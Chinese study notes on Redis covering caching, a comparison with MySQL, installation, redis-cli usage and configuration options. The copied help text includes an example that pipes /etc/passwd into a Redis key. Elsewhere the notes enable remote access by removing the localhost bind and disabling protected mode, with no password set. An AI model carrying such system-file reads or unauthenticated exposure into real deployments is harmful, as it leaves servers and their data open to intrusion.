CPU缓存(Cache Memory)位于CPU与内存之间的临时存储器,它存在于CPU中,容量比内存小但交换速度快。在CPU中加入缓存是一种高效的处理方法,这样整个内存储器(缓存+内存)就变成了既有缓存的高速度,又有内存的大容量的存储系统(System)了。
缓存是为了处理CPU速度和内存速度的速度差异问题。内存中被CPU访问最频繁的数据和指令被拷贝入CPU中的缓存。CPU存取数据的速度非常的快,一秒钟能够存取、处理十亿条指令和数据(术语: CPU主频1G),而内存就慢很多,快的内存能够达到几十兆就不错了,可见两者的速度差异是多么的大
缓存的工作原理是当CPU要读取1个数据时,首先从缓存中查找,找到就立即读取并送给CPU处理,没有找到就使用相对慢的速度从内存中读取并送给CPU处理,同时把这个数据所在的数据块调入缓存中,使得以后对整块数据的读取都从缓存中进行,不必再调使用内存,CPU读取数据的顺序是先缓存后内存
【 关系型数据库mysql和非关系型数据库redis 】
关系型: 丰富的查询语言、二级索引、强事务、企业级工具集成和完备的生态系统
nosql: 弹性结构、水平拓展、集群化部署
SQL newwork-> cpu -> memory -> disk
1.存储方式
关系型数据库是表格式的,因此存储在表的行和列中。他们之间很容易关联协作存储,提取数据很方便。而Nosql数据库则与其相反,是大块的组合在一起,通常存储在数据集中,就像文档、键值对或者图结构。
2.存储结构
关系型数据库对应的是结构化数据,数据表都预先定义了结构(列的定义),结构描述了数据的形式和内容,这一点对数据建模至关重要,虽然预定义结构带来了可靠性和稳定性,但修改这些数据比较困难。而Nosql数据库基于动态结构,使用与非结构化数据。因为Nosql数据库是动态结构,可以很容易适应数据类型和结构的变化。
3.存储规范
关系型数据库的数据存储为了更高的规范性,把数据分割为最小的关系表以避免重复,获得精简的空间利用。虽然管理起来很清晰,但单个操作设计到多张表时数据管理就显得有点麻烦。而Nosql数据存储在平面数据集中,数据经常可能会重复。单个数据库很少被分隔开,而是存储成了一个整体,这样整块数据更加便于读写
4.存储扩展
这可能是两者之间最大的区别,关系型数据库是纵向扩展,提高处理能力要使用速度更快的计算机。因为数据存储在关系表中,操作的性能瓶颈可能涉及到多个表,需要通过提升计算机性能来克服。虽然有很大的扩展空间,但最终会达到纵向扩展的上限。而Nosql数据库是横向扩展的,它的存储天然就是分布式的,可以通过给资源池添加更多的普通数据库服务器来分担负载。
5.查询方式
关系型数据库通过结构化查询语言来操作数据库(SQL)。SQL支持数据库CURD操作的功能非常强大,是业界的标准用法。而Nosql查询以块为单元操作数据,使用的是非结构化查询语言(UnQl),它是没有标准的。关系型数据库表中主键的概念对应Nosql中存储文档的ID。关系型数据库使用预定义优化方式(比如索引)来加快查询操作,而Nosql更简单更精确的数据访问模式。
6.事务
关系型数据库遵循ACID规则(原子性(Atomicity)、一致性(Consistency)、隔离性(Isolation)、持久性(Durability)),而Nosql数据库遵循BASE原则(基本可用(Basically Availble)、软/柔性事务(Soft-state )、最终一致性(Eventual Consistency))。由于关系型数据库的数据强一致性,所以对事务的支持很好。关系型数据库支持对事务原子性细粒度控制,并且易于回滚事务。而Nosql数据库是在CAP(一致性、可用性、分区容忍度)中任选两项,因为基于节点的分布式系统中,很难全部满足,所以对事务的支持不是很好,虽然也可以使用事务,但是并不是Nosql的闪光点。
7.性能
关系型数据库为了维护数据的一致性付出了巨大的代价,读写性能比较差。在面对高并发读写性能非常差,面对海量数据的时候效率非常低。而Nosql存储的格式都是key-value类型的,并且存储在内存中,非常容易存储,而且对于数据的一致性是弱要求。Nosql无需sql的解析,提高了读写性能。
8.授权方式
大多数的关系型数据库都是付费的并且价格昂贵,成本较大(MySQL是开源的,所以应用的场景最多),而Nosql数据库通常都是开源的。
所以在实际的应用环境中一般会使用MySQL存储业务过程中的数据,因为这些数据之间的关系比较复杂,常常会需要在查询一个表的数据时候将其他关系表的数据查询出来,例如查询某个用户的订单,那至少是需要用户表和订单表的数据,查询某个商品的销售数据可能会需要用户表、订单表、订单明细表、商品表等,而在这样的使用场景中使用Redis KeyValue形式来存储的话并不能满足需要,即使Redis的读取效率再高也没法用。
但对于某些没有关联少,且需要高频率读写,使用Redis就能够很好的提高整个体统的并发能力。
例如商品的库存信息,虽然在MySQL中会有这样的字段,但并不想MySQL的数据库被高频的读写,因为使用这样会导致商品表或库存表IO非常高,从而影响整个体统的效率,所以对于这样的数据且有没有什么复杂逻辑关系的数据就可以放在Redis里面,下单直接在Redis中减掉库存,这样订单的并发能力就能够提高了
【 redis 】
Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API,通常被称为数据结构服务器,因为支持的值(value)数据类型:
字符串 string
列表类型 lists
集合类型 sets
有序集合类型 sort sets
散列类型、哈希表 hashs
Redis本质上是一个Key-Value类型的内存数据库,整个数据库加载在内存当中进行操作, 定期通过异步操作把数据库数据flush到硬盘上进行保存。
因为是纯内存操作,Redis的性能非常出色,每秒可以处理超过10万次读写操作,是已知性能最快的Key-ValueDB
Redis的出色之处不仅仅是性能,Redis最大的魅力是支持保存多种数据结构,此外单个value的最大限制是1GB,不像memcached只能保存1MB的数据, 因此Redis可以用来实现很多有用的功能,比方说用他的List来做FIFO双向链表,实现一个轻量级的高性能消息队列服务, 用他的Set可以做高性能的tag系统等
另外Redis也可以对存入的Key-Value设置expire时间,因此也可以被当作一个功能加强版的memcached来用。
Redis的主要缺点是数据库容量受到物理内存的限制,不能用作海量数据的高性能读写, 因此Redis适合的场景主要局限在较小数据量的高性能操作和运算上
Redis支持数据的持久化,可以将内存中的数据保存在磁盘中,重启的时候可以再次加载进行使用。
不仅支持简单的key-value类型的数据,同时还提供list,set,zset,hash等数据结构的存储。
支持数据的备份,即master-slave模式的数据备份
性能极高 – Redis能读的速度是110000次/s,写的速度是81000次/s
丰富的数据类型 – Redis支持Strings,Lists,Hashes,Sets及Ordered Sets数据类型操作。
原子 – 所有操作都是原子性的,要么成功执行要么失败完全不执行。单个操作是原子性的,多个操作也支持事务即原子性,通过MULTI和EXEC指令包起来。
丰富的特性 – Redis还支持publish/subscribe、通知、key过期等特性
为什么Redis的操作是原子性的,怎么保证原子性的?
对于Redis而言,命令的原子性指的是:一个操作的不可以再分,操作要么执行,要么不执行。
Redis的操作之所以是原子性的,是因为Redis是单线程的。
Redis本身提供的所有API都是原子操作,Redis中的事务其实是要保证批量操作的原子性。
多个命令在并发中不一定是原子性的,将get和set改成单命令操作incr,使用Redis的事务,或者使用Redis+Lua==的方式实现.
Redis的主要作用就是能够快速存取。
以电商平台架构为例,Redis在系统架构中的位置,它是挡在关系型数据库前面的一道快速读取数据的屏障,极大的缓解了关系型数据的读取压力,使整个系统的在数据存取的瓶颈得到了极大的改善
redis的数据是缓存并留驻在内存中运行的,直接使用内存读写数据,速度比mysql快,但内存容量有限,所以大多数应用使用redis来缓存访问频率较高的热点数据,达到提升应用性能的目的,redis能提供单机10万qps的并发访问,在高并发的场景下使用redis可以缓解后端持久化存储如mysql oracle的压力
而mysql将数据持久化到磁盘,而redis虽然也支持持久化,但主要应用场景仍然是使用内存来实现缓存的目的,所以理论上mysql可以有效管理的数据量比redis多得多,结构化数据仍然使用关系型数据库来存储
redis是一个内存数据结构的服务,将数据存储在内存中,从而实现了非常好的吞吐量和性能。提供了很丰富的数据结构,特别适合社交类业务的系统。但内存数据库要求服务器的内存足够才行,存储的数据量越大消耗的内存也就越大,如果内存不够就会导致操作系统进行内存到磁盘的交换结构性能急剧下降,新浪微博的数据存储就是用的redis来实现的。
Redis运行在内存中,但可以持久化到磁盘,所以在对不同数据集进行高速读写时需要权衡内存,因为数据量不能大于硬件内存。内存数据库方面的另一个优点是,相比在磁盘上相同的复杂的数据结构,在内存中操作起来非常简单,这样Redis可以做很多内部复杂性很强的事情。同时在磁盘格式方面他们是紧凑的以追加的方式产生的,因为他们并不需要进行随机访问
mysql是一个传统的数据库系统,因为它的架构非常的灵活,可以集成很多不同方式的存储,mysql因为大部分都是磁盘操作自然性能比不上redis,但支持事务等功能,适合于各种业务系统,对于海量的数据存储并没有问题,Facebook用的是MySQL的集群
相比memcached有哪些优势?
(1) memcached所有的值均是简单的字符串,Redis作为其替代者,支持更为丰富的数据类型
(2) Redis的速度比memcached快很多
(3) Redis可以持久化其数据
Redis有哪几种数据淘汰策略?
noeviction: 返回错误当内存限制达到并且客户端尝试执行会让更多内存被使用的命令(大部分的写入指令,但DEL和几个例外)
allkeys-lru: 尝试回收最少使用的键(LRU),使得新添加的数据有空间存放。
volatile-lru: 尝试回收最少使用的键(LRU),但仅限于在过期集合的键,使得新添加的数据有空间存放。
allkeys-random: 回收随机的键使得新添加的数据有空间存放。
volatile-random: 回收随机的键使得新添加的数据有空间存放,但仅限于在过期集合的键。
volatile-ttl: 回收在过期集合的键,并且优先回收存活时间(TTL) 较短的键,使得新添加的数据有空间存放
NOSQL
high performance 高并发读写
huge Storage 海量数据的高效率存储和访问
high Scalability high Availability 高可扩展性和可用性
bin目录:
redis-benchmark: redis性能测试工具
redis-check-aof: 检查aof日志的工具
redis-check-dump: 检查rdb日志的工具
redis-cli: 连接用的客户端
redis-server: redis服务进程
【 redis安装 】
下载网址:https://github.com/MicrosoftArchive/redis/releases 可下载msi
redis没有做Windows版本的安装包,Windows版本一直是微软开源技术团队开发和维护着这个Win64的版本,所以在redis官网上下载的都是linux版本
pecl install安装是有提示的,如何进行静默安装
wget http://pecl.php.net/get/redis-4.2.0.tgz
printf "yes\nyes\n" | pecl install redis-4.2.0.tgz
echo "extension=redis.so" > /etc/php.d/50-redis.ini
rm -rf redis-4.2.0.tgz
安装Redis服务器端会自动地一起安装Redis命令行客户端程序
~ sudo apt-get install redis-server
【 开启redis-server 】
cmd> redis-server.exe redis.windows.conf // 配置系统环境变量,切换到redis目录,执行之后会显示输出
linux启动redis
以普通用户的身份开启redis-server,由于dump.rdb文件无权限,无法退出,必须强制退出
~> redis-server // 以普通用户的身份开启redis-server,采用默认配置
~> redis-server /etc/redis/redis.conf // 以普通用户的身份开启redis-server,采用指定配置,守护进程
#> sudo redis-server // 非守护进程
#> sudo redis-server /etc/redis/redis.conf
redis-cli shutdown // 异步保存数据到硬盘并关闭服务器
【 注册redis本地服务 】
# 注册redis服务,需要加入参数"--service-run"
SC CREATE redis6379 binpath= "\"C:\redis64-3.0.501\63 79\redis-server.exe\" --service-run \"C:\redis64-3.0.501\63 79\redis.windows.conf\""
# 启动redis命令
SC start redis6379
sc stop redis6379
sc delete redis6379
【 注册为redis本地服务在后台运行(推荐) 】
进入redis安装目录
注册服务 redis-server --service-install 自动命名为Redis
安装服务 redis-server --service-install redis.windows.conf --service-name redis6379 --loglevel verbose
删除服务 redis-server --service-uninstall
删除服务 redis-server --service-install --service-name redis6379
开启服务 redis-server --service-start
启动服务 redis-server --service-start redis.windows-service.conf --service-name redis6379
停止服务 redis-server --service-stop
停止服务 redis-server --service-stop --service-name redis6379
【 隐藏redis-server运行窗口 】
方法1: 配置系统环境变量
start /b redis-server 1>nul 2>nul
方法2:
要想启动其他软件,方法是一样的
实现方法是利用一个vbe(vbs)脚本去运行一个bat脚本,在bat脚本里启动exe软件
# redis.vbe
set ws=wscript.createobject("wscript.shell")
ws.run "redis.bat /start",0
# redis.bat
@echo off
d:
cd redis-2.0.0
redis-server.exe
两个文件放在redis安装目录下,双击redis.vbe,redis-server就在后台运行了,点击完是不会有任何反应的,要看是否运行成功可以查看任务管理器,也可以用redis-cli访问
【 停止/启动/重启redis服务 】
如果是用apt-get或者yum install安装的redis,可以直接通过下面的命令停止/启动/重启redis
/etc/init.d/redis-server stop
/etc/init.d/redis-server start
/etc/init.d/redis-server restart
如果是通过源码安装的redis,则可以通过redis的客户端程序redis-cli的shutdown命令来重启redis
redis-cli -h 127.0.0.1 -p 6379 shutdown
如果上述方式都没有成功停止redis,则可以使用终极武器 kill -9
redis-cli
【 Redis客户端连接 】
Redis通过监听一个TCP端口或Unix socket的方式来接收来自客户端的连接,当一个连接建立后Redis内部会进行以下一些操作:
首先客户端socket会被设置为非阻塞模式,因为Redis在网络事件处理上采用的是非阻塞多路复用模型。
然后为这个socket设置TCP_NODELAY属性,禁用Nagle算法
然后创建一个可读的文件事件用于监听这个客户端socket的数据发送
cmd> redis-cli // 连接本地的redis服务
cmd> redis-cli -h 127.0.0.1 -p 6379 -a "mypass" // 在远程redis服务上执行命令,-a为密码
redis开启远程访问报错:
redis-cli -h 192.168.43.27
Could not connect toredisat 192.168.43.27:6379: Connection reset by peer
注释掉bind 127.0.0.1可以使所有的ip访问redis,若想指定多个ip访问但并不是全部的ip访问可以bind
在protected-mode模式下即使注释掉了bind 127.0.0.1再访问redisd时候还是报错
127.0.0.1:6379> config get bind*
1) "bind"
2) ""
127.0.0.1:6379> config get prot*
1) "protected-mode"
2) "yes"
127.0.0.1:6379> config set protected-mode no
OK
127.0.0.1:6379> config get prot*
1) "protected-mode"
2) "no"
【 redis-cli --help 】
redis-cli 3.2.100
Usage: redis-cli [OPTIONS] [cmd [arg [arg ...]]]
-h < hostname> Server hostname (default: 127.0.0.1).
-p < port> Server port (default: 6379).
-s < socket> Server socket (overrides hostname and port).
-a < password> Password to use when connecting to the server.
-r < repeat> Execute specified command N times.
-i < interval> When -r is used,waits interval seconds per command. specify sub-second times like -i 0.1.
-n < db> Database number.
-x Read last argument from STDIN.
-d < delimiter> Multi-bulk delimiter in for raw formatting (default: \n).
-c Enable cluster mode (follow -ASK and -MOVED redirections).
--raw Use raw formatting for replies (default when STDOUT is not a tty).
--no-raw Force formatted output even when STDOUT is not a tty.
--csv Output in CSV format.
--stat Print rolling stats about server: mem,clients,...
--latency Enter a special mode continuously sampling latency.
--latency-history Like --latency but tracking latency changes over time. Default 15 sec. Change it using -i.
--latency-dist Shows latency as a spectrum,requires xterm 256 colors. Default 1 sec. Change it using -i.
--lru-test < keys> Simulate a cache workload with an 80-20 distribution.
--slave Simulate a slave showing commands received from the master.
--rdb < filename> Transfer an RDB dump from remote server to local file.
--pipe Transfer rawredisprotocol from stdin to server.
--pipe-timeout < n> In --pipe mode,abort with error if after sending all data.
no reply is received within < n> seconds. Default 30. Use 0 to wait forever.
--bigkeys Samplerediskeys looking for big keys.
--scan List all keys using the SCAN command.
--pattern < pat> Useful with --scan to specify a SCAN pattern.
--intrinsic-latency < sec> Run a test to measure intrinsic system latency. The test will run for the specified amount of seconds.
--eval < file> Send an EVAL command using theLuascript at < file>.
--ldb Used with --eval enable the RedisLuadebugger.
--ldb-sync-mode Like --ldb but uses the synchronousLuadebugger,in this mode the server is blocked and script changes are not rolled back from the server memory.
--help Output this help and exit.
--version Output version and exit.
Examples:
cat /etc/passwd | redis-cli -x set mypasswd
redis-cli get mypasswd
redis-cli -r 100 lpush mylist x
redis-cli -r 100 -i 1 info | grep used_memory_human:
redis-cli --eval myscript.lua key1 key2 ,arg1 arg2 arg3
redis-cli --scan --pattern '*:12345*'
(Note: when using --eval the comma separates KEYS[] from ARGV[] items)
When no command is given,redis-cli starts in interactive mode.
Type "help" in interactive mode for information on available commands
and settings.
【 redis-cli命令的一些重要参数及使用场景 】
1、-r 代表将命令重复执行多次,$redis-cli -r 3 ping
2、-i 每隔几秒(10ms则写0.01)执行一次命令,必须与-r一起使用。
$redis-cli -r 3 -i 1 ping
$redis-cli -r 10 -i 1 info|grep used_memory_human // 每隔1秒输出内存的使用量,一共输出10次。
$redis-cli -h ip -p port info server|grep process_id // 获取redis的进程号999
3、-x 代表从标准输入读取数据作为该命令的最后一个参数。$echo "world" |redis-cli -x set hello
4、-c 连接集群结点时使用,此选项可防止moved和ask异常。
5、-a 如配置了密码,可用a选项。
6、--scan和--pattern 用于扫描指定模式的键,相当于scan命令。
7、--slave 当当前客户端模拟成当前redis节点的从节点,可用来获取当前redis节点的更新操作。合理利用可用于记录当前连接redis节点的一些更新操作,这些更新可能是实开发业务时需要的数据。
8、--rdb 会请求redis实例生成并发送RDB持久化文件,保存在本地。可做定期备份。
9、--pipe 将命令封装成redis通信协议定义的数据格式,批量发送给redis执行。
10、--bigkeys 统计bigkey的分布,使用scan命令对redis的键进行采样,从中找到内存占用比较大的键,这些键可能是系统的瓶颈。
11、--eval 用于执行lua脚本
12、--latency 有三个选项:--latency、--latency-history、--latency-dist,可检测网络延迟,展现的形式不同。
13、--stat 可实时获取redis的重要统计信息。info命令虽然比较全,但这里可看到一些增加的数据,如requests(每秒请求数)
14、--raw 和 --no-raw --no-raw 要求返回原始格式。--raw显示格式化的效果。
Redis内置的命令行工具redis-cli不仅仅是一个简单的交互式Redis数据结构手工操作程序,还有强大的功能和用法
1、执行单条命令
平时在访问Redis服务器,一般都会使用redis-cli进入交互模式,然后一问一答来读写服务器,这种情况下使用的是它的「交互模式」。还有另外一种「直接模式」,通过将命令参数直接传递给redis-cli来执行指令并获取输出结果。
$ redis-cli incrby foo 5
(integer) 10
如果输出的内容较大,还可以将输出重定向到外部文件
$ redis−cli info>info.txt
$ redis−cli info>info.txt
$ wc -l info.txt
120 info.txt
上面的命令指向的服务器是默认服务器地址,如果想指向特定的服务器可以这样
$ redis-cli -h localhost -p 6379 -n 2 ping // -n 2表示使用第2个库,相当于select 2
PONG
2、批量执行命令
线上的开发过程中免不了要手工造数据,然后导入Redis,通常会编写脚本程序来做这件事,更便捷的方式是直接使用redis-cli来批量执行一系列指令。
$ cat cmds.txt
set foo1 bar1
set foo2 bar2
set foo3 bar3
......
$ cat cmds.txt | redis-cli
OK
OK
OK
...
上面的指令使用了 Unix 管道将 cat 指令的标准输出连接到 redis-cli 的标准输入。其实还可以直接使用输入重定向来批量执行指令。
$ redis-cli < cmds.txt
OK
OK
OK
...
3、set 多行字符串
如果一个字符串有多行,希望将它传入set指令,redis-cli要如何做?可以使用-x选项,该选项会使用标准输入的内容作为最后一个参数。
$ cat str.txt
ErnestHemingwayoncewrote,
"Theworldisafineplaceandworthfightingfor."
Iagreewiththesecondpart.
$ redis-cli -x set foo < str.txt
OK
$ redis-cli get foo
"Ernest Hemingway once wrote,\n"The world is a fine place and worth fighting for."\nI agree with the second part.\n"
4、重复执行指令
redis-cli还支持重复执行指令多次,每条指令执行之间设置一个间隔时间,如此便可以观察某条指令的输出内容随时间变化。
$ redis-cli -r 5 -i 1 info | grep ops // 间隔1s,执行5次,观察qps的变化
instantaneous_ops_per_sec:43469
instantaneous_ops_per_sec:47460
instantaneous_ops_per_sec:47699
instantaneous_ops_per_sec:46434
instantaneous_ops_per_sec:47216
如果将次数设置为-1那就是重复无数次永远执行下去。如果不提供-i参数,那就没有间隔,连续重复执行。
在交互模式下也可以重复执行指令,形式上比较怪异,在指令前面增加次数
127.0.0.1:6379> 3 ping
PONG
PONG
PONG
127.0.0.1:6379> 10 info
5、导出 csv
redis-cli不能一次导出整个库的内容为csv,但可以导出单条指令的输出为csv格式,--csv参数的效果就是对输出做了一次转换,用逗号分割
redis−cli rpush lfoo a b c d e f g
(integer)7
redis-cli --csv lrange lfoo 0 -1
"a","b","c","d","e","f","g"
redis−cli hmset hfoo a 1 b 2 c 3 d 4
OK
redis-cli --csv hgetall hfoo
"a","1","b","2","c","3","d","4"
当然这种导出功能比较弱,仅仅是一堆字符串用逗号分割开来。不过可以结合命令的批量执行来看看多个指令的导出效果。
$ redis-cli --csv -r 3 hgetall hfoo
"a","1","b","2","c","3","d","4"
"a","1","b","2","c","3","d","4"
"a","1","b","2","c","3","d","4"
6、执行lua脚本
使用eval指令来执行脚本字符串,每次都是将脚本内容压缩成单行字符串再调用eval指令,这非常繁琐,而且可读性很差。redis-cli考虑到了这点,它可以直接执行脚本文件。
127.0.0.1:6379> eval "return redis.pcall('mset', KEYS[1], ARGV[1], KEYS[2], ARGV[2])" 2 foo1 foo2 bar1 bar2
OK
127.0.0.1:6379> eval "return redis.pcall('mget', KEYS[1], KEYS[2])" 2 foo1 foo2
"bar1"
"bar2"
下面以脚本的形式来执行上面的指令,参数形式有所不同,KEY和ARGV之间需要使用逗号分割,并且不需要提供KEY的数量参数
cat mset.txt
return redis.pcall(′mset′,KEYS[1],ARGV[1],KEYS[2],ARGV[2])
cat mset.txt
return redis.pcall(′mset′,KEYS[1],ARGV[1],KEYS[2],ARGV[2])
cat mget.txt
return redis.pcall('mget', KEYS[1], KEYS[2])
redis−cli −−eval mset.txt foo1 foo2,bar1 bar2
OK
redis−cli −−eval mset.txt foo1 foo2,bar1 bar2
OK
redis-cli --eval mget.txt foo1 foo2
"bar1"
"bar2"
如果lua脚本太长--eval将大有用处。
7、监控服务器状态
可以使用--stat参数来实时监控服务器的状态,间隔1s实时输出一次。如果觉得间隔太长或是太短,可以使用 -i 参数调整输出间隔。
$ redis-cli --stat
------- data ------ --------------------- load -------------------- - child -
keys mem clients blocked requests connections
2 6.66M 100 0 11591628 (+0) 335
2 6.66M 100 0 11653169 (+61541) 335
2 6.66M 100 0 11706550 (+53381) 335
8、扫描大KEY
每次遇到Redis偶然卡顿问题,第一个想到的就是实例中是否存在大KEY, KEY的内存扩容以及释放都会导致主线程卡顿。如果知道里面有没有大KEY,可以自己写程序扫描,不过这太繁琐了。redis-cli提供了--bigkeys参数可以很快扫出内存里的大KEY,使用-i参数控制扫描间隔,避免扫描指令导致服务��的ops陡增报警。
$ ./redis-cli --bigkeys -i 0.01
#Scanning the entire keyspace to find biggest keys as well as
#average sizes per key type. You can use -i 0.1 to sleep 0.1 sec
#per 100 SCAN commands (not usually needed).
[00.00%] Biggest zset found so far 'hist:aht:main:async_finish:20180425:17' with 1440 members
[00.00%] Biggest zset found so far 'hist:qps:async:authorize:20170311:27' with 2465 members
[00.00%] Biggest hash found so far 'job:counters:6ya9ypu6ckcl' with 3 fields
[00.01%] Biggest string found so far 'rt:aht:main:device_online:68:{-4}' with 4 bytes
[00.01%] Biggest zset found so far 'machine:load:20180709' with 2879 members
[00.02%] Biggest string found so far '6y6fze8kj7cy:{-7}' with 90 bytes
redis-cli对于每一种对象类型都会记录长度最大的KEY,对于每一种对象类型,刷新一次最高记录就会立即输出一次。它能保证输出长度为Top1的KEY,但Top2、Top3等KEY是无法保证可以扫描出来的。一般的处理方法是多扫描几次,或者是消灭了Top1的KEY之后再扫描确认还有没有次大KEY。
9、采样服务器指令
现在线上有一台Redis服务器的OPS太高,有很多业务模块都在使用这个Redis,如何才能判断出来是哪个业务导致了OPS异常的高。这时可以对线上服务器的指令进行采样,观察采样的指令大致就可以分析出OPS占比高的业务点。这时就要使用monitor指令,它会将服务器瞬间执行的指令全部显示出来。不过使用的时候要注意即使使用ctrl+c中断,否则显示器会噼里啪啦太多的指令瞬间让你眼花缭乱。
$ redis-cli --host 192.168.x.x --port 6379 monitor
1539853410.458483 [0 10.100.90.62:34365] "GET" "6yax3eb6etq8:{-7}"
1539853410.459212 [0 10.100.90.61:56659] "PFADD" "growth:dau:20181018" "2klxkimass8w"
1539853410.470319 [0 10.100.90.62:34365] "GET" "6yax3eb6etq8:{-7}"
1539853410.473927 [0 10.100.90.61:58128] "GET" "6yax3eb6etq8:{-7}"
1539853410.475712 [0 10.100.90.61:40277] "PFADD" "growth:dau:20181018" "2km8sqhlefpc"
10、诊断服务器时延
平时诊断两台机器的时延一般是使用Unix的ping指令。Redis也提供了时延诊断指令,不过它的原理不太一样,它是诊断当前机器和Redis服务器之间的指令(PING指令)时延,它不仅仅是物理网络的时延,还和当前的Redis主线程是否忙碌有关。如果你发现Unix的ping指令时延很小,而Redis的时延很大,那说明Redis服务器在执行指令时有微弱卡顿。
$ redis-cli --host 192.168.x.x --port 6379 --latency
min: 0, max: 5, avg: 0.08 (305 samples)
时延单位是 ms。redis-cli还能显示时延的分布情况,而且是图形化输出。
$ redis-cli --latency-dist
11、远程rdb备份
将远程的Redis实例备份到本地机器,远程服务器会执行一次bgsave操作,然后将rdb文件传输到客户端
$ ./redis-cli --host 192.168.x.x --port 6379 --rdb ./user.rdb
SYNC sent to master, writing 2501265095 bytes to './user.rdb'
Transfer finished with success.
12、模拟从库
如果想观察主从服务器之间都同步了那些数据,可以使用redis-cli模拟从库。
$ ./redis-cli --host 192.168.x.x --port 6379 --slave
SYNC with master, discarding 51778306 bytes of bulk transfer...
SYNC done. Logging commands from master.
...
从库连上主库的第一件事是全量同步,所以看到上面的指令卡顿这很正常,待首次全量同步完成后就会输出增量的aof日志。
【 redis-cli命令行帮助文档 】
127.0.0.1:6379> help
redis-cli 3.2.100
To get help aboutrediscommands type:
"help @< group>" to get a list of commands in < group>
"help < command>" for help on < command>
"help < tab>" to get a list of possible help topics
"quit" to exit
To set redis-cli perferences:
":set hints" enable online hints
":set nohints" disable online hints
Set your preferences in ~/.redisclirc
127.0.0.1:6379> help hscan
HSCAN key cursor [MATCH pattern] [COUNT count]
summary: Incrementally iterate hash fields and associated values
since: 2.8.0
group: hash
【 常用命令 】
redis> help keys 查看redis命令的帮助信息
redis> clear 清屏
redis> ping 查看服务是否运行,redis实例是否存活,连接正常就返回一个PONG,否则返回一个连接错误
redis> echo message 打印给定的字符串
redis> echo "hello"
redis> quit 一旦所有等待中的回复(如果有)顺利写入到客户端就关闭当前客户端与redis服务的连接
redis> select index
切换到指定的数据库,数据库索引号index用数字值指定,0作为起始值redis默认使用数据库0
Change the selected database for the current connection,Redis数据库编号从0~15,当选择16时报错,说明没有编号为16的这个数据库
127.0.0.1:6379[1]> // 表示当前选择的数据库是1
redis> flushdb // 删除当前数据库的所有key
redis> flushall // 清空整个Redis服务器的数据,删除所有数据库的所有key
【 redis安全 】
通过redis的配置文件设置密码参数,这样客户端连接到redis服务就需要密码验证
redis> config get requirepass // 查看是否设置了密码验证,默认requirepass参数是空,无需通过密码验证就可连接到redis服务
redis> config set requirepass "mypass" // 设置密码后,客户端连接redis服务就需要密码验证,否则无法执行命令
redis> auth "mypass" // 进行密码验证,检测给定的密码和配置文件中的密码是否相符
Redis配置项
1、直接修改redis安装目录下的配置文件redis.conf
2、命令行参数修改配置项,如redis-server --port 6378 --daemonize yes
3、运行的过程中在不重启服务器的情况下更改服务器配置,同时也支持使用特殊的CONFIG SET和CONFIG GET命令用编程方式查询并设置配置;如port,因为一旦修改端口必然需要重启服务,重新绑定端口,所以并不是所有的配置项都能在运行时进行修改
redis> config get * // 查看所有配置项
redis> config get log* // 通配符
redis> config get config_setting_name // 查看配置项
redis> config set config_setting_name new_config_value // 设置配置项,修改redis配置参数,无需重启
redis> config get loglevel // 获取loglevel配置项的信息
redis> config set loglevel "notice"
redis> config set tcp-keepalive 60 // 把心跳包发送时间间隔修改成了60秒
config rewrite
对启动Redis服务器时所指定的redis.conf配置文件进行改写
CONFIG SET命令可以对服务器的当前配置进行修改,而修改后的配置可能和redis.conf文件中所描述的配置不一样,CONFIG REWRITE的作用就是通过尽可能少的修改,将服务器当前所使用的配置记录到redis.conf文件中
返回一个状态值: 如果配置重写成功则返回OK,失败则返回一个错误
redis> config set appendonly yes # 打开appendonly
redis> config rewrite # 将appendonly的修改写入redis.conf
redis> config resetstat
重置INFO命令中的某些统计数据
daemonize no
Redis默认不是以守护进程的方式运行,可以通过该配置项修改,使用yes启用守护进程,在后台运行
redis-server --port 3678 --daemonize yes
pidfile /var/run/redis.pid
当Redis以守护进程方式运行时Redis默认会把pid写入/var/run/redis.pid文件,可通过pidfile指定配置到其他地址
port 6379
指定Redis监听端口,默认端口为6379
bind 127.0.0.1
绑定的主机地址,指定redis只接收来自该IP的请求,如果不设置将处理所有请求,在生产环节中最好设置该项
timeout 300
设置客户端连接时的超时时间,单位为秒;当客户端闲置多长时间后关闭连接,如果指定为0表示关闭该功能
loglevel verbose
日志记录级别,Redis共支持四个级别: debug、verbose、notice、warning,默认verbose,生产环境下一般开启notice
logfile stdout
配置log文件地址,日志记录方式,默认标准输出,即打印在命令行终端的端口上
如果配置Redis为守护进程方式运行,而这里又配置为日志记录方式为标准输出则日志将会发送给/dev/null
databases 16
设置数据库的数量,默认数据库为0,可以使用SELECT dbid命令在连接上指定数据库id
save seconds changes
设置redis进行数据库镜像的频率,指定在多长时间内有多少次更新操作就将数据同步到数据文件,可以多个条件配合
Redis默认配置文件中提供了三个条件:
save 900 1
save 300 10
save 60 10000
分别表示900秒(15分钟)内有1个更改,300秒(5分钟)内有10个更改以及60秒内有10000个更改。
rdbcompression yes
指定存储至本地数据库(镜像备份)时是否压缩数据,默认yes;Redis采用LZF压缩,若为了节省CPU时间可以关闭该选项,但会导致数据库文件变的巨大
dbfilename dump.rdb
指定本地数据库文件名,镜像备份文件的文件名,默认值为dump.rdb
dir ./
指定本地数据库存放目录,数据库镜像备份的文件放置的路径
slaveof masterip masterport
设置当本机为slave服务、该数据库为其他数据库的从数据库时,设置master服务的IP地址及端口,在Redis启动时,它会自动从master进行数据同步
masterauth master-password
当master服务设置了密码保护时,slave服务连接master的密码
requirepass: 设置客户端连接后进行任何其他指定前需要使用的密码
requirepass foobared
设置Redis连接密码,如果配置了连接密码,客户端在连接Redis时需要通过AUTH password命令提供密码,默认关闭
maxclients 128
设置同一时间最大客户端连接数,默认无限制,Redis可以同时打开的客户端连接数为Redis进程可以打开的最大文件描述符数,maxclients 0表示不作限制。当客户端连接数到达限制时,Redis会关闭新的连接并向客户端返回max number of clients reached错误信息
maxmemory bytes
指定Redis最大内存限制,Redis在启动时会把数据加载到内存中,达到最大内存后,Redis会先尝试清除已到期或即将到期的Key,当此方法处理 后,仍然到达最大内存设置,将无法再进行写入操作,但仍然可以进行读取操作。Redis新的vm机制,会把Key存放内存,Value会存放在swap区
appendonly no
指定是否在每次更新操作后进行日志记录,Redis默认是异步的把数据写入磁盘,如果不开启可能会在断电时导致一段时间内的数据丢失。因为redis本身同步数据文件是按上面save条件来同步的,所以有的数据会在一段时间内只存在于内存中,默认为no
开启appendonly模式后,redis会把每一次所接收到的写操作都追加到appendonly.aof文件中,当redis重新启动时会从该文件恢复出之前的状态
appendfilename appendonly.aof
